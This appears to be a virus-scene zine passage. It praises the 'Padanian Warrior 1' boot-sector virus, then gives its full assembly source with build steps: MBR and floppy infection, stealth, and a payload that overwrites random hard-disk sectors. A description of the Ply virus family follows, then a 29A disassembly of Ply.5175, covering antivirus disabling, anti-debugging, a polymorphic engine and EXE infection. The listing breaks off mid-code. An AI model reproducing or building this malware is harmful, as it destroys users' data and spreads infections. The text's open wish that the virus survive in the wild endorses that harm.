ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
As for other goodies I may mention that the virus uses also some 386
instructions to make the code shorter and more efficent.

The real virus name is "encrypted" at the end of the virus. To get the name
you must UUENCODE the boot sector and you will see the name 8)))))

Bad virus aspects:


ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
The virus has also some bad aspects. These aren't bugs or something like, but
are things decided to make the code shorter. Padanian Warrior 1 infact relays
to be on a system of a "normal" (say tipical if you want :) ) user. Infact for
example it relays on the fact that a DOS partition is set on 0,1,1 , that all
the diskettes (or quite all) have the same 1.44Mb format and that no other
operating systems are used (since it doesn't save the original boot sector).

But of course notice that IT FITS IN 448 bytes! So we can't pretend that it
will make check of every possible O.S. or PC :) This "Bad virus aspects"
section is only to give some ideas for future implementations and future
viruses, not to say that the virus is bad! The virus relays on many settings
and parameters from "normal" users, which are the real target of the virus
(real users anyway aren't so lame to get infected... and don't use d0$ ;)) )
and this is normal, since to make all the possible checks the virus may have
to use the entire floppy :) So, in my personal opinion, the Padanian Warrior 1
is effectively aimed to infect "normal" users and with those users it will
work really very fine, so I suppose it may have a good chance to stay in
the wild!

Description conclusion:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
This is undoubtely a VERY good boot virus. It has a lot of cool things and
techs and all of this in just a sector. Expecially the port writing routine
is great for its size and the payload activation method is undoubtely very
interesting and may be interesting for payload activation for other viruses.
Well, I think that you may find many interesting tricks and implementations
that may give your next boot virus a better look :)

Greetings to the author of the Padanian Warrior 1! Hey, we all are already
waiting for the second one 8))

Virus disasm:
ÍÍÍÍÍÍÍÍÍÍÍÍÍ
And here finally we come to the virus disasm, enjoy!

To compile, use TASM 3.0 (at least to get the real first generation):

tasm /l /zi /m2 pdnwar.asm


tlink /m /v pdnwar.obj
tdstrip -c pdnwar.exe

the resulting 512 bytes file must be put on a floppy boot sector...
*

.model tiny
.code
.386

; Some macros, so the source will be more clear and readable :)

; This second macro is to prevent TASM to optimize in his way the LEA
; generation... since we want the same code as in the original virus :)
lea_ok MACRO fromreg, segment, Imm16, refreg
db 08dh
ifidn <fromreg>, <di>
db 0bfh
endif
ifidn <fromreg>, <DI>
db 0bfh
endif
ifidn <fromreg>, <si>
db 0b7h
endif
ifidn <fromreg>, <SI>
db 0b7h
endif
dw Imm16
ENDM

; This last macro is to prevent again a TASM optimization of add to a


; word in memory...
add_l MACRO weird, pitr, refreg, offset, drek, add_value
db 83h
db 87h
dw offset
db add_value
ENDM
; End of macros... finally the real virus code! :-)

org 0

jmp short virus_start ; Jump to virus body


nop

;
; Here is placed the floppy data that will _always_ go around with the virus!
; This DBs are the first generation ones.
;

db 04dh,053h,044h,04fh,053h,035h,02eh,030h
db 000h,002h,001h,001h,000h,002h,0e0h,000h
db 040h,00bh,0f0h,009h,000h,012h,000h,002h
db 000h,000h,000h,000h,000h,078h,000h,000h
db 000h,000h,000h,029h,000h,009h,042h,026h
db 04eh,04fh,020h,04eh,041h,04dh,045h,020h
db 020h,020h,020h,046h,041h,054h,031h,032h
db 020h,020h,020h

org 3eh

virus_start:
push cs
pop ss

mov sp,7c00h ; Set SS:SP to 0:7C00h

push cs
pop es

push cs
pop ds ; CS = DS = ES = SS

mov si,(offset int18_handler + 7c00h)


; copy a part of virus body
mov di,300h ; in a piece of the IVT
mov cx,(offset orig_int13 - offset int18_handler)
rep movsb

mov si,4ch ; SI on orig int13h


movsd ; save Seg:Off of int13h
; at the end of our piece
; of body (exactly at the
; place for int CEh)

push es ; save ES for later

push 0f000h
pop es ; point ES to ROM

xor bx,bx

look_for_cd18: ; 18_tech routine


inc bx
cmp word ptr es:[bx],18cdh ; search the int 18h in ROM
jne look_for_cd18

mov si,04ch ; set the int 13h to point


mov word ptr [si],bx ; to the CD18
mov word ptr [si+2],es
mov dword ptr [si+14h],300h ; new int18h handler is at
; 0:300h
pop es

mov ax,301h ; write a sector from disk


mov bx,sp ; from es:sp
mov cl,5 ; points where the virus
mov dh,0 ; resides on the hd

cmp dl,80h ; is the hd?


jb not_from_hd

dec word ptr ds:[7c20h] ; payload counter


jnz no_activation

payload:
in al,40h
xor ch,al
in al,40h ; get random offset in BX
xor cl,al ; and random sector/cylinder
and cl,1fh ; in CX
mov bx,cx

in al,40h
xor dh,al ; get random head in DH
and dh,0fh

mov ax,304h ; write 4 sectors


int 0ceh

jmp short payload

no_activation:
int 0ceh ; rewrite the virus body
; in its place (counter
; decreased)

mov ax,201h ; read a sector


mov cl,1 ; the MBR
push 013cdh ; set an int13h on the
; top of the stack
jmp sp ; execute the pushed int13.
; this is reload the old
; mbr (using stealth) and
; then run it

not_from_hd:
mov word ptr ds:[7c20h],78h ; initialize the payload cntr

mov ah,2 ; read one sector


mov bh,7eh ; to bx = 7E00h
mov cl,1 ; read the MBR
mov dl,80h ; from disk
int 0ceh ; do the real int13h

cmp byte ptr ds:[1bfh+bx],1 ; first partition starts at 1?


jne already_infected ; no, so probably infected or
; infection may not be ok

mov ax,302h ; write two sectors


mov bh,7ch ; bx = 7c00h
mov cl,5 ; save the virus body and
; the original mbr starting
; with sector 5
int 0ceh ; do the real int13h

mov si,7fbeh ; points to the original


; partition table
mov di,7fceh ; where to save it
mov cl,10h
rep movsb ; copy the partition table
; 10h below the original
; position

mov word ptr ds:[3bfh+bx],0500h


; puts 05 as start of first
; partition in partition tbl

mov di,7fceh ; modify the partition table


xor ax,ax ; so it will be quite hard to
stosw ; boot without the virus in
; in memory :)
mov al,4
stosw ; do virus second "partition"
mov al,5
stosb

mov si,(offset ide_prog + 7c00h)


; point to the init sequence

mov cl,7
mov dx,1f0h ; starting port - 1

; now the virus will initialize the controller, set the write mode etc...
; look at the ide_prog label for the details!

program_ide:
inc dx ; increase port
outsb ; write DS:SI to port DX
loop program_ide

wait_loop: ; wait a little for the ide


loop wait_loop

mov si,7e00h ; point to the 'new' MBR


mov ch,1 ; copy 200h bytes
mov dl,0f0h ; to port 1f0h
rep outsw ; write the modified MBR

mov si,7fceh ; modify also the second


mov di,7fbeh ; saved MBR that will be of
mov cl,10h ; use to confuse dos at a
rep movsb ; boot from a clean floppy

mov cl,30h ; delete the a second entry


mov al,0 ; from partition table
rep stosb

mov ax,301h ; write the second mbr to hd


mov bh,7eh ; bx to the modified mbr
mov cl,4
mov dx,80h
int 0ceh ; do the real int13h

already_infected:
int 19h ; reboot

; From this point the virus will be copied to 0:300h in memory and will stay
; always there...

int18_handler:
add sp,6 ; correct stack since the
; virus uses 18_tech

cmp ah,2 ; reading?


jb leave_call

cmp ah,3 ; writing?


ja leave_call

cmp cx,1 ; on boot/mbr ?


jne leave_call

cmp dx,80h ; on floppy or hd?


ja leave_call

pusha

mov ax,302h ; save 1024 bytes from


mov cl,7 ; the buffer ES:BX on a
mov dl,80h ; buffer on the HD
int 13h

mov ax,201h ; read the entire virus


mov cl,5 ; from the HD to ES:BX
int 13h

add bx,offset infect_ste ; jump to the infection


push es ; routine (we just readed
push bx ; it from the disk)
retf

returning:
int 13h

popa
popf ; Pop flags
retf 2 ; Return far
leave_call:

db 0eah
orig_int13 dd 00h ; original seg:off of int13h
; int CEh will point on this
; doubleword

; here is the end of the part of the virus that is always in memory (starting
; from 0:300h up to 0:33Ch)

org $-4 ; The next four bytes (as


; you notice by the org :) )
; are overwritten in memory
; by the int13h seg:off, but
; are always present on the
; disk. Infact the infection
; routine is present in mem
; just when needed...
infect_ste:
popa ; reload calling regs

mov al,01h

cmp dl,80h ; is on the HD ?


jb floppy_disk

cmp ah,03h ; writing on the MBR ??? :)


je you_wont

pusha ; it seems they are going


; to read it...
add bh,2
mov cl,6 ; read the saved one from HD
int 13h

mov ax,301h
mov cl,7 ; save it on our disk buffer
int 13h

popa

you_wont:
clc
xor ax,ax ; zero AX
jmp short exit_infect

floppy_disk:
cmp ah,2 ; are they reading?
je reading_it

int 0ceh ; well, leave the sucker


; to write and exit
jmp short exit_infect

reading_it:
push bx
add bh,2 ; read it in our mem buffer
int 0ceh ; (this is ES:[BX+200h])
pop bx

jc exit_infect ; exit on error

cld
pusha

lea si,ds:[0227h + bx] ; point to the serial num


lea_ok di,ds:[ 027h + bx] ; point to the dest serial num

segcs movsd ; copy the serial number

cmp word ptr es:[220h+bx],0 ; this place is usually at


; floppy formatation 00h, so
; if it != 00h then maybe it
; is already infected and it
; may contain a payload cntr
jne no_bonus

mov ax,301h ; write virus to floppy disk


int 0CEh
jc no_bonus ; error? if so no bonus!

add_l word ptr [bx+ 20h ],02h ; add 2 to our payload counter

mov ax,301h ; rewrite the virus body


mov cl,5 ; to its usual place, but
mov dl,80h ; with the different counter
int 13h

no_bonus:
mov ax,201h ; read the dos boot sector
add bh,2 ; that is very probably
mov cl,1 ; here. this is a good
mov dx,180h ; "normal" boot sector
int 13h

lea si,ds:[bx-200h+03h] ; point to our space for


; the bpb
lea_ok di,ds:[ 03h + bx] ; point to the dos boot
; space of the bpb

mov cl,3bh ; how many bytes we need

segcs rep movsb ; move our (floppy) bpb to


; it's place.

mov ax,301h ; write it to the buffer


mov cl,7 ; on the disk... this is
mov dh,0 ; what will be returned
int 13h ; also to the user
; this is floppy bs stealth
popa

exit_infect:
pushf
pusha
mov ax,202h ; read the two sectors from
mov cl,7 ; our temp disk buffer to
mov dl,80h ; his buffer in ES:BX

db 0eah ; jmp far


dw 330h ; adress of returning
dw 00h ; the segment where the virus
; resides is always 00h
; ide programming sequence
org $-1 ; one byte for ide programming
; is used directly from the
; absolute jump before
ide_prog:
; ÚÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Port ³ Effect ³
; ÃÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
db 000h ; ³ 1F1h ³ Set Precompensation to 0 ³
db 001h ; ³ 1F2h ³ Set Sector count to 1 ³
db 001h ; ³ 1F3h ³ Set Sector number to 1 ³
db 000h ; ³ 1F4h ³ Set Cylinder high to 0 ³
db 000h ; ³ 1F5h ³ Set Cylinder low to 0 ³
db 0A0h ; ³ 1F6h ³ Set Drive to 0, Head 0 ³
db 030h ; ³ 1F7h ³ Set Write sector ³
; ÀÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

; name_stuff are bytes used for the virus name


name_stuff:
db 070h,086h,048h,06Eh,0A6h,01Bh,0B7h,087h
db 02ch,0A9h,0BFh,024h,041h

org 01feh
boot_marker db 55h,0AAh
org 200h

end
Ply family
ÄÄÄÄÄÄÄÄÄÄ
These are dangerous nonmemory resident parasitic viruses. They search for
all EXE files in the current directory, then write themselves to the end of
the file.

The viruses are not encrypted, but they look as polymorphic viruses. Their
codes in different infected files have very few constant bytes, and as a
result there is no constant scan string to detect these viruses. To do that
the viruses use quite complex engine that "mixes" the code in the virus
body.

The viruses contain three blocks: block of main code, block of data, block
of redirected calls.

ÚÄÄÄÄÄÄÄÄÄÄ¿
³Main Code ³
³ ³
³----------³
³Data ³
³----------³
³Redirected³
³Calls ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄ-

All assembler instructions in the Main Code are not more that 3 bytes of
length, and all instructions occupy three bytes in the virus code. If the
length of instruction is less than 3 bytes, free bytes contain NOP
instructions. As a result all instructions in the viruses occupy 3-bytes
blocks.

While infecting a file the viruses "move" the instructions in the 3-bytes
block, if there is NOP command:

8C C8 MOV AX,CS <ÄÄ> 90 NOP


90 NOP 8C C8 MOV AX,CS

There are also the data that contain 6-bytes blocks to copy the instructions
to Redirected Calls and replace them with CALL or JMP commands:

Replaced with CALL Replaced with JMP Original code


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄ
E8 xx xx CALL Ä¿ <ÄÄ> E9 xx xx JMP Ä¿ <ÄÄ> 90 NOP
... <ijÄÄÄ¿ ... <ijÄÄÄ¿ 8C C8 MOV AX,CS
... ³ ³ ... ³ ³
... V ³ ... V ³
8C C8 MOV AX,CS ³ 8C C8 MOV AX,CS ³ <marked as free
90 NOP ³ 90 NOP ³ block>
C3 RET ÄÄÄ- E9 xx xx JMP back Ä-

So, any instruction can be shifted in the 3-bytes blocks, it can be copied
to random selected address in the virus and then replaced with CALL or JMP
command, and existing CALLs and JMPs redirectors can be replaced with
original code. No byte is encrypted, and there are very few constant bytes
to detect the virus.

Such complex engine is not bugs-free, and the viruses often corrupt the
files while infecting them.

The viruses check the names of the files before infecting them, and do not
infect the files:
"Ply.4224,4722":

AVP AVPLITE AVPVE EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV
TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP
TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE.

"Ply.5133":

AVP AVPLITE AVPVE EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN
TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM
TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE.

"Ply.5175":

AVP AVPLITE AVPVE BAIT EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN
TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG
TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VIRUS VPIC VSAFE

"Ply.4722,5133,5175" delete the \NCDTREE file, if it exists.


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ
comment *
Ply.5175
Disassembly by
Darkman/29A

Ply.5175 is a 5175 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.5175 has an error handler, anti-heuristic techniques,
anti-debugging techniques, retro structures and is polymorphic in file by
using its internal polymorphic engine.

To compile Ply.5175 with Turbo Assembler v 4.0 type:


TASM /m PLY_5175.ASM
TLINK /t /x PLY_5175.OBJ
*

.model tiny
.code
org 100h ; Origin of Ply.5175

code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop

mov ax,100h ; AX = offset of beginning of code


sub bp,ax ; Subtract offset of beginning of ...
nop

sti ; Set interrupt-enable flag


nop
nop
cld ; Clear direction flag
nop
nop

mov ax,2020h
mov si,(4e41h-2020h) ; Disable AutoProtect and NAVTSR
add si,ax ; " " " "
nop
mov di,(4e55h-2020h) ; " " " "
add di,ax ; " " " "
nop
add ax,(0fe02h-2020h) ; " " " "
int 2fh
nop

mov ax,20e0h
add ax,(4100h-20e0h) ; Delete file
lea dx,_ncdtree ; DX = offset of _ncdtree
add dx,bp ; Add delta offset
nop
int 21h
nop

xor ax,ax ; Zero AX


nop
mov ds,ax ; DS = segment of interrupt table
nop
mov si,(2fh*04h) ; SI = offset of interrupt vector 24h
lea di,int2f_addr ; DI = offset of int2f_addr
add di,bp ; Add delta offset
nop
mov cx,04h ; Move four bytes to int2f_addr
rep movsb ; Move interrupt vector 2fh to int...
nop

mov ax,cs ; AX = code segment


nop
mov ds,ax ; DS = " "
nop

mov ax,1202h ; Get interrupt address


mov dx,24h ; Get interrupt address of interru...
call int2f_simula

mov ax,cs ; AX = code segment


nop
mov es,ax ; ES = " "
nop

mov ax,(24h*04h) ; AX = offset of interrupt vector 24h


cmp bx,ax ; Debugging?
nop
je prepare_exit ; No debugging? Jump to prepare_exit
nop

mov ax,(3501h-2020h) ; Get interrupt vector 01h


add ax,2020h
call int21_simula

lea di,int01_off ; DI = offset of int01_off


add di,bp ; Add delta offset
nop
mov [di],bx ; Store offset of interrupt 01h
nop

mov ax,cs ; AX = code segment


nop
mov es,ax ; ES = " "
nop

mov ax,(2501h-2020h) ; Get interrupt vector 01h


add ax,2020h
lea dx,int01_virus ; DX = offset of int01_virus
add dx,bp ; Add delta offset
nop
call int21_simula
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop

mov ax,[si+14h] ; AX = instruction pointer


stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop

lea si,poly_begin ; SI = offset of poly_begin


add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = " " "
nop
xor al,ah ; AL = " " "
nop
and al,00011111b ; AL = random number between zero ...
nop

push cx ; Save CX at stack


nop
nop
push si ; Save SI at stack
nop
nop

cmp al,00h ; Prepend a NOP to the opcode?


nop
jne test_append ; Not equal? Jump to test_append
nop

mov al,[si] ; AL = first byte of three-bytes b...


nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop

mov al,[si+02h] ; AL = third byte of three-byte block


cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop

mov ax,[si] ; AX = first word of three-bytes b...


nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...

cmp al,0ebh ; JMP imm8 (opcode 0ebh)


nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop

mov di,si ; DI = offset of current three-byt...


nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop

mov al,[si] ; AL = first byte of three-bytes b...


nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop

mov ax,[si+01h] ; AX = second word of three-bytes ...


lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop

cmp al,0ebh ; JMP imm8 (opcode 0ebh)


nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode

mov di,si ; DI = offset of current three-byt...


nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop

mov ax,[si] ; AX = first word of three-bytes b...


nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop

mov al,ah ; AL = second byte of three-bytes ...


nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop

call get_poly_off

mov cx,03h ; Move three bytes


rep movsb ; Move three-bytes block to offset...
nop

mov al,0c3h ; RET (opcode 0c3h)


nop
stosb ; Store RET
nop
nop

in al,40h ; AL = 8-bit random number


nop
stosb ; Store 8-bit random number
nop
nop

in al,40h ; AL = 8-bit random number


nop
stosb ; Store 8-bit random number
nop
nop

mov al,0e8h ; CALL imm16 (opcode 0e8h)


nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop

mov ax,di ; AX = random offset of polymorphi...


nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate

mov di,si ; SI = offset of current three-byt...


nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop

mov al,[si] ; AL = first byte of three-bytes b...


nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop

mov ax,[si+01h] ; AX = 16-bit immediate


add ax,03h ; Add size of opcode CALL imm16

mov di,si ; DI = offset of current three-byt...


nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop

mov cx,03h ; Move three bytes


rep movsb ; Move three-bytes block to offset...
nop

mov al,90h ; NOP (opcode 90h)


nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP

in al,40h ; AL = 8-bit random number


nop
mov [si-01h],al ; Store 8-bit random number

in al,40h ; AL = 8-bit random number


nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop

mov ax,[si] ; AX = first word of three-bytes b...


nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop

mov al,ah ; AL = second byte of three-bytes ...


nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop

call get_poly_off

mov cx,03h ; Move three bytes


rep movsb ; Move three-bytes block to offset...
nop

mov al,0e9h ; JMP imm16 (opcode 0e9h)


nop
stosb ; Store JMP imm16
nop
nop

mov ax,di ; AX = random offset of polymorphi...


nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop

mov al,0e9h ; JMP imm16 (opcode 0e9h)


nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop

mov ax,di ; AX = random offset of polymorphi...


nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate

mov di,si ; SI = offset of current three-byt...


nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop

mov al,[si] ; AL = first byte of three-bytes b...


nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop

mov ax,[si+01h] ; AX = 16-bit immediate


add ax,03h ; Add size of opcode CALL imm16

mov di,si ; DI = offset of current three-byt...


nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop

mov cx,03h ; Move three bytes


rep movsb ; Move three-bytes block to offset...
nop

mov al,90h ; NOP (opcode 90h)


nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP

in al,40h ; AL = 8-bit random number


nop
mov [si-01h],al ; Store 8-bit random number

in al,40h ; AL = 8-bit random number


nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop

mov ax,03h ; AX = size of block


add si,ax ; SI = offset of next three-byte b...
nop

dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop

jmp poly_loop
poly_exit:
jmp set_dta_addr
nop

get_poly_off proc near ; Get random offset of polymorphic...


in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop

mov ax,di ; AX = 16-bit random number within...


nop

add di,ax ; Add number of polymorphic blocks


nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop

lea ax,poly_blocks ; AX = offset of poly_blocks


add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop

mov al,90h ; NOP (opcode 90h)


nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
set_dta_addr:
mov ah,2fh ; Get disk transfer area address
nop
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of disk transfer area
nop
push ax ; Save AX at stack
nop
nop

mov ax,cs ; AX = code segment


nop
mov es,ax ; ES = " "
nop

mov ah,1ah ; Set disk transfer area address


nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop

mov ax,3524h ; Get interrupt vector 24h


int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of interrupt 24h
nop
push ax ; Save AX at stack
nop
nop

mov ax,cs ; AX = code segment


nop
mov es,ax ; ES = " "
nop

mov ax,2524h ; Get interrupt vector 24h


lea dx,int24_virus ; DX = offset of int24_virus
add dx,bp ; Add delta offset
nop
int 21h
nop

xor ax,ax ; Zero AX


nop
mov ds,ax ; DS = segment of interrupt table
nop
mov si,(2ah*04h) ; SI = offset of interrupt vector 2ah
lodsw ; AX = offset of interrupt 2ah
nop
nop
push ax ; Save AX at stack
nop
nop
lodsw ; AX = segment of interrupt 2ah
nop
nop
push ax ; Save AX at stack
nop
nop
lea ax,int2a_virus ; AX = offset of int2a_virus
add ax,bp ; Add delta offset
nop
mov [si-04h],ax ; Set interrupt offset 2ah
mov ax,cs ; AX = code segment
nop
mov [si-02h],ax ; Set interrupt segment 2ah

mov ax,cs ; AX = code segment


nop
mov ds,ax ; DS = " "
nop

mov ax,(4e00h-2020h) ; Find first matching file


add ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop

mov bx,dx ; BX = offset of file_specifi


nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification

jmp find_first
nop
find_next:
mov ax,(4f00h-2020h) ; Find next matching file
add ax,2020h
find_first:
int 21h
nop
jnc examine_name ; No error? Jump to examine_name
nop

xor ax,ax ; Zero AX


nop
mov es,ax ; ES = segment of interrupt table
nop
mov di,(2ah*04h) ; DI = offset of interrupt vector 2ah
pop bx ; Load BX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
stosw ; Set interrupt offset 2ah
nop
nop
mov ax,bx ; AX = segment of interrupt 2ah
nop
stosw ; Set inerrupt segment 2ah
nop
nop

mov ax,cs ; AX = code segment


nop
mov es,ax ; ES = " "
nop

pop ax ; Load AX from stack


nop
nop
mov ds,ax ; DS = segment of interrupt 24h
nop
pop dx ; Load DX from stack
nop
nop
mov ax,2524h ; Set interrupt vector 24h
int 21h
